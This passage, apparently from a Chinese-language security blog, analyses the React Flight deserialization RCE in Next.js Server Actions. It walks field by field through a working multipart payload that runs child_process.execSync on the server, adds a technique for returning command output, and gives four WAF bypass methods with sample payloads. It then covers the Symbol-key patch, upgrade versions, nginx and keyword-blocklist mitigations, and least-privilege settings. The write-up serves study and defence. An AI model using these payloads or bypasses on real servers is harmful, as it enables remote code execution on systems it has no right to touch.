     │   │     "_chunks": [],                           │     ← 字段⑦
     │   │     "_formData": {                           │     ← 字段⑧
     │   │       "get": "$1:constructor:constructor"    │       ← 字段⑨ ★核心★
     │   │     }                                        │
     │   │   }                                          │
     │   │ }                                            │
     │   └──────────────────────────────────────────────┘
     │
     └── part 2 (name="1")  → 变成 Chunk 1
         ┌──────────────────────────────────────────────┐
         │ "$@0"                                        │  ← 字段⑩ ★核心★
         └──────────────────────────────────────────────┘
字段①:"then": "$1:then" --- 整个攻击链的起点
复制代码
 "then": "$1:then"

它做了什么?

这个字段让 chunk0.value 变成一个有 then 属性的对象。JavaScript 引擎看到这个对象后,认为它是 Thenable,自动调用 value.then(engineResolve, engineReject)

为什么要指向 $1:then

React 解析 "$1:then" 的过程:

  1. $1 → 获取 Chunk 1 的 value

  2. Chunk 1 的 value 是 $@0,即 Promise<chunk0.value>

  3. :then → 访问 Promise 实例的 .then 属性

  4. Promise 实例的 .then 就是 Promise.prototype.then

所以最终 val.then = Promise.prototype.then------这是一个完全合法 的 JavaScript 原生方法,不会触发任何异常,但成功将引擎的 resolve/reject 回调传入了 Promise 链。

比喻: 就像你拿着假的工作证(Thenable 对象),保安(JS引擎)看到了,但假工作证上写的电话(then)指向了一个真员工(Promise.prototype.then),保安打过去确认后,居然放你进去了。

复制代码
 chunk0.value = {
     then: "$1:then",    ← "我看起来像个Thenable"
     ...
 }
         │
         ▼ JS引擎判断:这个对象有then属性,是Thenable!
         │
         ▼ JS引擎调用:chunk0.value.then(engineResolve, engineReject)
         │
         ▼ then的值是"$1:then" → React解析为 Promise.prototype.then
         │
         ▼ 实际调用:Promise.prototype.then(engineResolve, engineReject)
         │             ↑ 这是一个完全合法的原生方法调用
         │             但engineResolve被注入了Promise链!
字段②:"status": "resolved_model" --- 伪装成正常Chunk
复制代码
 "status": "resolved_model"

它做了什么?

React Flight 内部会检查 Chunk 的 status 字段来决定如何处理这个 Chunk。"resolved_model" 表示 Chunk 已经成功解析完毕,数据可用。

为什么要写这个值?

如果 status 不是 resolved_model(比如是 PENDINGERRORED),React 可能会走不同的代码分支------等待数据、报错、或者跳过处理。我们想让 React 直接进入"读取 value 并使用它"的逻辑,所以伪装成已解析状态。

注意: 这里我们伪造的是 JSON 对象中的 status 字段,它模拟了真实 Chunk 对象的结构。React 在解析时会把整个 JSON 当作 Chunk 的 value,并在适当的时机检查这个 status。

字段③:"reason": -1 --- 伪造错误码
复制代码
 "reason": -1

它做了什么?

在正常流程中,如果 Chunk 出错(status = ERRORED),reason 字段存储的是错误原因。设置为 -1 确保不会触发错误处理流程。

为什么是 -1?

因为 -1 是一个 truthy 值但不是 Error 对象。React 的检查逻辑类似 if (reason) { /* 处理错误 */ }-1 虽然 truthy 但类型不是 Error,实际不会走到错误处理分支。这是一个"占坑但不触发"的策略。

字段④:"value": "{\"then\":\"$B1337\"}" --- 嵌套的Chunk值
复制代码
 "value": "{\"then\":\"$B1337\"}"

它做了什么?

这个字段是 Chunk 0 的 value。注意它是一个JSON字符串,不是直接的对象。

当 React 处理 Chunk 0 时,会对其 value 进行 JSON.parse:

复制代码
 // React内部类似这样处理
 const parsedValue = JSON.parse(chunk0.value);
 // parsedValue = { then: "$B1337" }

为什么用 $B1337

$B 在 Flight 协议中代表 Blob 类型。$B1337 是一个不存在的 Blob 引用(Chunk ID 1337 不存在)。这个值本身不重要------攻击链的核心逻辑完全由外层的 then_response._prefix_formData.get 驱动。value 字段只是填充数据,不让 React 在这一步就出错中断。

本质上: value 是一个"烟雾弹",让 Chunk 的数据结构看起来完整,而真正的攻击逻辑藏在 then_response 中。

字段⑤:"_response" --- 伪造的Response引用
复制代码
 "_response": { ... }

它做了什么?

在真实的 React Flight 内部,每个 Chunk 都有一个 _response 属性,指向所属的 Response 对象。Response 对象中存储着:

  • _prefix:某些序列化数据的前缀(会被 eval)

  • _chunks:所有 Chunk 的列表

  • _formData:multipart 表单数据对象,带有 get() 方法

攻击者通过在 JSON 中直接构造 _response 对象,用相同的属性名覆盖了真实的 response 引用。

这是一个关键的设计缺陷: React 在修复前使用普通字符串作为 response 的属性名。JSON 可以任意构造字符串属性,攻击者就能伪造整个 response 结构。

字段⑥:"_prefix" --- ★ 最终被执行的恶意代码 ★
复制代码
 "_prefix": "process.mainModule.require('child_process').execSync('calc.exe');"

这是整个 Payload 中最重要的字段! 这是最终在服务器上被执行的 JavaScript 代码。

它怎么被执行?

在 React 处理 Blob 相关数据时,有一段代码大致如下:

复制代码
 // React Flight 源码简化
 // 当处理 response._formData 时,会读取 _prefix
 const prefix = response._prefix;  // ← 攻击者控制的字符串
 const getter = response._formData.get;  // ← 攻击者控制的Function构造函数
 ​
 // 在某些代码路径中,prefix 会被传入 getter:
 // 相当于:getter(prefix)
 // 展开:Function("process.mainModule.require('child_process').execSync('calc.exe');")
 // 然后调用这个新函数 → 代码执行!

关键API解释:

复制代码
 process.mainModule
     // Node.js中,process.mainModule指向入口模块(通常是启动文件)
     // 通过它可以访问到require函数
     
 .require('child_process')
     // 加载Node.js内置的child_process模块
     // 这个模块可以创建子进程、执行系统命令
     
 .execSync('calc.exe')
     // 同步执行系统命令
     // execSync = execute synchronously
     // 命令字符串会被传给系统的Shell执行
     // Windows: cmd.exe /c calc.exe
     // Linux:   /bin/sh -c id
字段⑦:"_chunks": [] --- 保持结构合法
复制代码
 "_chunks": []

它做了什么?

Response 对象中的 _chunks 属性在正常情况下是一个数组,存储所有 Chunk 引用。这里设为空数组 [],让 response 结构看起来合法,避免因类型不匹配导致异常。

为什么是空的?

攻击 Payload 只需要两个 Chunk(Chunk 0 和 Chunk 1),它们已经通过 multipart 的 name="0" 和 name="1" 直接创建了,不需要在 _chunks 数组中再声明一遍。设空数组不会影响攻击链。

字段⑧⑨:"_formData" + "get": "$1:constructor:constructor" --- ★ 获取代码执行器 ★
复制代码
 "_formData": {
     "get": "$1:constructor:constructor"
 }

这是整个 Payload 中第二重要的部分! 它负责获取 Function 构造函数------相当于 JavaScript 的 eval

解析过程逐步推演:

复制代码
 原始字符串: "$1:constructor:constructor"
 ​
 Step 1: $1 → 获取 Chunk 1 的 value
         Chunk 1 的 value 是 "$@0"
         "$@0" → getChunk(0) → Promise<chunk0.value>
         所以 $1 解析为 → Promise { <pending> }
                        这是一个Promise实例!
 ​
 Step 2: :constructor → Promise实例.constructor
         Promise实例的构造函数是谁?
         → Promise 构造函数!
 ​
 Step 3: :constructor → Promise构造函数.constructor
         所有函数的构造函数是谁?
         → Function 构造函数!

在浏览器控制台验证:

复制代码
 // 你可以自己试一下:
 const p = Promise.resolve(42);
 ​
 p.constructor                    // → function Promise() { [native code] }
 p.constructor.constructor        // → function Function() { [native code] }
 ​
 // 验证:
 p.constructor.constructor === Function  // true
 ​
 // Function 构造函数可以执行任意代码:
 const fn = Function('return 1 + 1');
 fn();  // 2
 ​
 // 所以等价于:
 const malicious = Function('process.mainModule.require("child_process").execSync("calc.exe")');
 malicious();  // 💥 弹计算器

为什么不直接用 eval

Flight 协议没有 $eval 这样的前缀。但是通过 $1:constructor:constructor,攻击者利用 JavaScript 的原型链特性,"合法地"拿到了 Function 构造函数------效果和 eval 完全一样。

字段⑩:"$@0" (Chunk 1) --- 整个攻击链的支点
复制代码
 multipart part 2, name="1":
 "$@0"

这是整个攻击链中最精妙的一环。 它看似简单------只有四个字符------但它是整个漏洞能够工作的必要条件

为什么必须要 $@0 而不是 $0

复制代码
 如果用 $0 (同步):
 ═══════════════════
 Chunk 1 的 value = chunk0.value 直接赋值
 chunk0.value = {then: "$1:then", ...}  ← 普通对象
 ​
 chunk1.value.then = undefined  ← 普通对象没有then方法!
                                ← constructor链也走不通!
 ​
 结论:$0 模式下,Chunk 1是普通对象,攻击链断裂。
 ​
 ​
 如果用 $@0 (异步):
 ════════════════════
 Chunk 1 的 value = Promise<chunk0.value>
 Promise 实例有自己的原型链!
 ​
 chunk1.value.then = Promise.prototype.then  ← 原生方法存在!
 chunk1.value.constructor = Promise           ← 构造函数存在!
 chunk1.value.constructor.constructor = Function  ← 拿到了!
 ​
 结论:$@0 模式下,Chunk 1 是 Promise 实例,攻击链完整。

对比图:

复制代码
 $0 模式(攻击失败):
 ┌────────────────────────────┐
 │ Chunk 1.value = {         │
 │     then: "$1:then",      │  ← 这是一个普通对象
 │     status: "...",        │     没有Promise原型链
 │     ...                   │
 │ }                         │
 │                            │
 │ .then          → 字符串   │  ← 不是方法,无法调用
 │ .constructor   → Object   │  ← 普通对象的构造函数是Object
 │ .constructor.              │
 │   constructor  → Function │  ← 这也行...但是...
 │                            │    但then解析不对,第一步就卡住了
 └────────────────────────────┘
 ​
 $@0 模式(攻击成功):
 ┌────────────────────────────┐
 │ Chunk 1.value = Promise { │
 │     <chunk0.value>        │  ← 这是一个真正的Promise实例
 │ }                         │     拥有完整的Promise原型链
 │                            │
 │ .then          → 原生方法 │  ← Promise.prototype.then!
 │ .constructor   → Promise  │  ← Promise构造函数
 │ .constructor.              │
 │   constructor  → Function │  ← 拿到了!可以执行任意代码!
 └────────────────────────────┘
全链路时序回顾

把上面所有字段串起来,按时间顺序看服务器收到 Payload 后发生了什么:

复制代码
 T0: 收到HTTP请求
 ─────────────────
 Next.js检查请求头 "Next-Action: x" → 识别为Server Action
 Content-Type: multipart/form-data → 调用 decodeReplyFromBusboy()
 ​
 ​
 T1: 解析 multipart part 1 (name="0")
 ──────────────────────────────────────
 busboy读到字段 → resolveField(response, "0", <JSON字符串>)
                 → 创建 Chunk 0
                 → chunk0.value = JSON.parse(jsonString)
                 → chunk0.value = {
                       then: "$1:then",
                       status: "resolved_model",
                       reason: -1,
                       value: "{\"then\":\"$B1337\"}",
                       _response: {
                           _prefix: "process.mainModule.require('child_process').execSync('calc.exe');",
                           _chunks: [],
                           _formData: { get: "$1:constructor:constructor" }
                       }
                   }
 ​
 ​
 T2: 解析 multipart part 2 (name="1")
 ──────────────────────────────────────
 busboy读到字段 → resolveField(response, "1", "\"$@0\"")
                 → 创建 Chunk 1
                 → chunk1.value = "$@0"
                 → "$@0" 被解析为 getChunk(0)
                 → 返回 Promise<chunk0.value>
                 → chunk1.value = Promise { <pending> }
 ​
                 
 T3: Thenable 触发
 ──────────────────
 React内部消费Chunk:
   val = chunk0.value
   // val = {then: "$1:then", status: "resolved_model", ...}
   
   JS引擎: "val 有 then 属性 → 这是 Thenable!"
   JS引擎: 调用 val.then(engineResolve, engineReject)
   
   React解析 val.then:
     "$1:then" → chunk1.value.then
               → Promise.prototype.then (原生方法!)
               
   执行: Promise.prototype.then(engineResolve, engineReject)
   结果: 正常返回,engineResolve进入Promise链
 ​
 ​
 T4: 获取 Function 构造函数
 ───────────────────────────
 React处理 _response._formData:
   
   解析 "$1:constructor:constructor":
     $1              → chunk1.value = Promise 实例
     :constructor    → Promise 实例.constructor = Promise 构造函数
     :constructor    → Promise构造函数.constructor = Function 构造函数
   
   _formData.get = Function  ← 拿到了代码执行器!
 ​
 ​
 T5: RCE 触发 💥
 ────────────────
 React处理 _response._prefix:
   
   类似于:
     const code = _response._prefix;
     // code = "process.mainModule.require('child_process').execSync('calc.exe');"
     
     const fn = _response._formData.get(code);
     // fn = Function("process.mainModule.require('child_process').execSync('calc.exe');")
     
     fn();
     // 执行系统命令 → calc.exe 被启动!
如果用一句话总结这个 Payload

利用 $@0 将 Chunk 1 包装成 Promise 实例 → 通过 $1:constructor:constructor 拿到 Function 构造函数 → 将 _prefix 中的恶意代码传入 Function 执行 → RCE。


带回显原理:

复制代码
 process.mainModule.require('child_process').execSync('whoami')
     │
     ▼ 执行系统命令,得到结果(如 "root")
     │
     ▼ .toString().trim() → "root"
     │
     ▼ 构造 NEXT_REDIRECT 错误
     │  throw Object.assign(new Error('NEXT_REDIRECT'), {
     │      digest: `NEXT_REDIRECT;push;/login?a=root;307;`
     │  });
     │
     ▼ Next.js 捕获到这个错误
     │
     ▼ 返回 307 重定向响应
     │  Location: /login?a=root
     │              ↑ 命令结果在这里!

五、WAF 绕过技术

漏洞公开后,Vercel 的 WAF 很快添加了检测规则。但安全社区在短短几周内就发现了一系列绕过方法。

5.1 Unicode 编码绕过

绕过原理

第一代 WAF 直接匹配字符串 "constructor"

但 JSON 标准支持 \uXXXX Unicode 转义,JSON.parse 会自动还原:

复制代码
 WAF 看到的:  constructor    ← 这是6个字符的转义序列
 JSON.parse后: constructor        ← 还原为原始字符串
 Node.js收到的:constructor        ← WAF完全没检测到!
实际操作

将 Payload 中的 constructor 替换为:

复制代码
 constructor
  ↑
  c 的 Unicode 编码是 c
复制代码
 // 原版
 "_formData": {"get": "$1:constructor:constructor"}
 ​
 // Unicode绕过版
 "_formData": {"get": "$1:constructor:constructor"}

关键点: 如果 WAF 只做纯文本正则匹配,而不过 JSON.parse 规范化,这个绕过就有效。

5.2 UTF-16 Charset 绕过

绕过原理

RFC 7578 规定 multipart/form-data 支持 charset 参数。在 Content-Type 中指定 charset=utf-16 后:

复制代码
 ASCII 字符在 UTF-16 中的编码:
   "c" (0x63)  →  "\x00\x63"  (两个字节!)
   
 WAF 搜索 "constructor":
   在 UTF-16 字节流中 → "constructor" 每个字符之间多了 \x00
   → "\x00c\x00o\x00n\x00s\x00t\x00r\x00u\x00c\x00t\x00o\x00r"
   → 和 WAF 规则中的 "constructor" 完全不匹配!

对比:

复制代码
 ┌─────────────────────────────────────────────────┐
 │ UTF-8(正常)                                    │
 │                                                 │
 │ 字节: 63 6f 6e 73 74 72 75 63 74 6f 72         │
 │ 字符: c  o  n  s  t  r  u  c  t  o  r          │
 │        ↑ WAF 能匹配到 "constructor"              │
 ├─────────────────────────────────────────────────┤
 │ UTF-16(绕过)                                   │
 │                                                 │
 │ 字节: 00 63 00 6f 00 6e 00 73 00 74 ...        │
 │ 字符:  c     o     n     s     t  ...           │
 │        ↑ WAF 看到的不是连续字符,匹配失败!        │
 └─────────────────────────────────────────────────┘
实际操作

Burp Suite 中:

  1. 将 payload 文本转换为 UTF-16 编码

  2. 选中内容 → Convert Selection → URL → URL-decode

  3. 修改 Content-Type header:

复制代码
 Content-Type: multipart/form-data; boundary=----WebKit; charset=utf-16

busboy(Next.js 使用的 multipart 解析库)能够正确解码 UTF-16 数据,所以服务器端不受影响。

5.3 嵌套 Chunk 解码绕过

绕过原理

Vercel 的 Seawall 引擎升级后,能够递归进行 JSON 解码来消除 Unicode 编码层。

但 React Flight 协议有一个天然的特性------Chunk 的 value 字段会被自动 JSON.parse 多层:

复制代码
 // value 是一层 JSON 字符串
 "value": "{\"then\":\"$B1337\"}"
 ​
 // React 解析时:JSON.parse(value) → {then: "$B1337"}
 ​
 // 如果 value 是多层嵌套:
 "value": "{\"then\": \"\\u00241:then\", \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", ...}"
 ​
 // React 解析第一层 → {then: "$1:then", value: "{\"then\":\"$B1337\"}"}
 // React 解析第二层 → {then: "$B1337"}
 // React 解析第三层 → ...
攻击策略
复制代码
 如果 WAF 递归解码 N 层 → 攻击者嵌套 N+1 层 → WAF 的第 N 层还是 Unicode
                                                 但 React 解析时自动解了 N+1 层
                                                 最终 payload 完整还原
实际嵌套 Payload 示例
复制代码
 {
   "then": "$1:then",
   "status": "resolved_model",
   "reason": -1,
   "value": "{\"then\": \"\\u00241:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"\\u0024B1337\\\"}\", \"_response\": {\"_prefix\": \"恶意代码...\", \"_chunks\": [], \"_formData\": {\"get\": \"$1:\\u005cu0063onstructor:\\u005cu0063onstructor\"}}}",
   "_response": {
     "_chunks": "$1:_response:_chunks"
   }
 }

层级关系:

复制代码
 第1层(外层payload)
     │
     ├── then: "$1:then"
     ├── value: "{\"then\": \"\\u00241:then\", ...}"  ← 字符串
     │       │
     │       ▼ 第一次 JSON.parse(React 自动)
     │   第2层 payload
     │       │
     │       ├── then: "$1:then"(\\u0024 → $,已解码)
     │       ├── value: "{...}"  ← 又一层字符串
     │       │       │
     │       │       ▼ 第二次 JSON.parse(React 自动)
     │       │   第3层 payload
     │       │       │
     │       │       ├── then: "$B1337"(\\u0024 → $,已解码)
     │       │       └── _formData.get: "$1:constructor:constructor"
     │       │           (\\u0063 → c,已解码)
     │       │
     │       └── _response._chunks: "$1:_response:_chunks"
     │
     └── _response: {...}

Vercel 的最终修复: Seawall 现在会无限递归解码直到 payload 完全标准化,彻底封堵了此类绕过。

5.4 绕过 Multipart 检测

绕过原理

如果 WAF 仅检测 multipart/form-data 格式的请求体,可以改用 application/x-www-form-urlencoded

复制代码
 POST / HTTP/1.1
 Host: target.com
 Next-Action: a1b2c3d4e5f6...    ← 真实的 hex actionId
 Content-Type: application/x-www-form-urlencoded
 ​
 0=%7B%22then%22%3A%22%241%3A...%7D&1=%22%24%400%22
    ↑ URL 编码的 payload

但需要满足条件: Next-Action header 中的 actionId 必须是合法的 hex 值(不能像 multipart 绕过那样随便写个 x)。

获取合法 actionId 的方法: 浏览目标页面,查看 HTML 源码中内嵌的 RSC 数据脚本,搜索 actionId 相关字段,找到合法的 hex 标识符。

各绕过方式总结
复制代码
 ┌─────────────────────────────────────────────────────────┐
 │                     WAF 绕过技术总览                       │
 ├──────────────┬────────────────────┬─────────────────────┤
 │ 绕过方式      │ 原理               │ WAF 防御难度         │
 ├──────────────┼────────────────────┼─────────────────────┤
 │ Unicode 编码  │ JSON \uXXXX 转义   │ ★☆☆ 容易(规范化解码)│
 │ UTF-16 编码   │ 双字节混淆字符串    │ ★★☆ 中等             │
 │ 嵌套 Chunk    │ 多层 JSON 递归解码  │ ★★★ 困难(需无限递归)│
 │ 绕过 multipart│ 改用 URL 编码格式   │ ★☆☆ 容易(检测 header)│
 └──────────────┴────────────────────┴─────────────────────┘

六、修复方案与防御建议

React 官方修复机制(PR #35277)

修复的核心改动在 packages/react-server/src/ReactFlightReplyServer.js

复制代码
 // ============ 修复前 ============
 // response 对象的内部属性使用普通字符串 key
 // JSON 反序列化可以构造同名属性 → 攻击者可伪造 _response
 ​
 const response = {
     _prefix: "",
     _chunks: [],
     _formData: { get: fn }
 };
 // _prefix、_chunks 等使用字符串作为属性名
 // 攻击者在 payload JSON 中可以直接写 "_prefix": "恶意代码"
 ​
 // ============ 修复后 ============
 // 使用 Symbol 作为内部 key
 // JSON 不支持 Symbol 类型 → 攻击者无法通过 JSON 构造 Symbol key
 ​
 const RESPONSE_SYMBOL = Symbol();
 const response = {
     [RESPONSE_SYMBOL]: {   // ← Symbol 作为 key
         _prefix: "",
         _chunks: [],
         _formData: { get: fn }
     }
 };
 ​
 // JSON.parse('{"_prefix": "恶意代码"}') 无法访问到 Symbol key 的属性
 // 攻击链被彻底切断!

为什么 Symbol 能从根本上解决问题?

复制代码
 JSON 规范只支持以下类型:
   • 字符串 (string)
   • 数字 (number)  
   • 布尔值 (boolean)
   • null
   • 数组 (array)
   • 对象 (object,key 必须是字符串)
 ​
 Symbol 不在 JSON 支持的类型中 → JSON.stringify 会忽略 Symbol key
                       → JSON.parse 无法创建 Symbol key
                       → 攻击者无法通过序列化数据伪造 response 内部属性

升级建议

组件 建议版本 备注
Next.js ≥ 16.0.0 包含完整补丁
React ≥ 19.2.1 包含 PR#35277
react-server-dom-webpack 最新版 通过 npm update 升级
react-server-dom-turbopack 最新版 通过 npm update 升级

临时缓解措施(适用于无法立即升级的场景)

1. Nginx / CDN 层拦截规则:

复制代码
 # nginx.conf
 ​
 # 方案A:如果你的应用不需要 Server Actions,直接拦截
 location / {
     if ($http_next_action) {
         return 403;
     }
 }
 ​
 # 方案B:限制请求体大小,减少大 payload 攻击面
 location / {
     client_max_body_size 1m;
 }

2. WAF 检测规则(关键词黑名单):

监测请求 Body 中是否同时包含以下模式:

  • "then":"$<数字>:then" 结构

  • constructor:constructor 及其 Unicode 变体

  • _response + _prefix 同时出现

  • process.mainModule / child_process / execSync

3. 最小权限原则:

复制代码
 # 不要以 root 运行 Next.js 应用
 # 创建专用低权限用户
 useradd -m -s /bin/false nextjs
 sudo -u nextjs npm start
 ​
 # 使用容器时,指定非 root 用户
 # Dockerfile:
 USER node

4. Node.js 运行时限制:

复制代码
 # 启动时添加安全参数
 node --no-node-snapshot \
      --disallow-code-generation-from-strings \   # 限制 eval/Function
      server.js

⚠️ --disallow-code-generation-from-strings 可能会影响 Next.js 的正常功能,请充分测试后再部署。


七、总结

技术层面

  1. "特性即漏洞" --- 漏洞利用的不是内存破坏或注入缺陷,而是 JavaScript 和 React Flight 协议的设计特性(Thenable 自动展平 + Chunk 反序列化)。这类问题比传统漏洞更隐蔽,更难通过常规扫描发现。

  2. 现代框架的复杂性 = 攻击面的扩大 --- Next.js + React 19 + RSC + Flight 协议 + Server Actions,这个技术栈的每一层都引入了新的攻击面。开发者享受开发效率的同时,安全人员面对的是成倍增加的审计难度。

  3. 协议层面的攻击思维 --- React2Shell 的所有绕过技术(Unicode、UTF-16、嵌套 Chunk)都是在协议层面做文章,不是简单的字符串变形。理解协议才能找到绕过,理解协议才能做好防御。

防御思维

Next.js2Shell 的攻防博弈揭示了一个重要原则:不要依赖"特征匹配"来防御,要从设计层面消除攻击面。

  • Symbol key 的引入,从协议层面让攻击者无法构造 _response 引用

  • 无限递归 JSON 规范化,从检测层面消除多层编码绕过

  • 最小权限运行,从系统层面限制 RCE 的破坏范围

纵深防御(Defense in Depth)------每一层都做防护,任何单点失效都不会导致完全失陷。

相关推荐
DeepCeLa1 小时前
稀土抑烟,破解PVC浓烟困局
安全·稀土·稀土科技·稀土化合物
AdCj31 小时前
OpenAI 如何安全运行 Codex:Agent 时代的“AI 安全操作系统
人工智能·安全
EasyDSS2 小时前
私有化视频会议系统/视频高清直播点播EasyDSS构筑智慧校园安全可控全场景音视频中枢
安全·音视频
Chockmans2 小时前
春秋云境CVE-2022-32991(手注和sqlmap)保姆级教学
数据库·安全·web安全·网络安全·oracle·春秋云境·cve-2022-32991
跨境卫士苏苏3 小时前
欧盟固定收费临近轻小件卖家如何判断继续铺量还是收缩
大数据·人工智能·安全·跨境电商·亚马逊
wanhengidc4 小时前
服务器中的算力运行
运维·服务器·网络·安全·web安全
2301_780789664 小时前
漏洞扫描误报处理:从规则优化到人工验证的全流程方案
运维·服务器·网络·安全·web安全
弥生赞歌4 小时前
Web漏洞扫描修复项目
安全·web安全
上海云盾第一敬业销售4 小时前
选择适合企业的高防CDN服务:架构解析与实践分享
安全·web安全·架构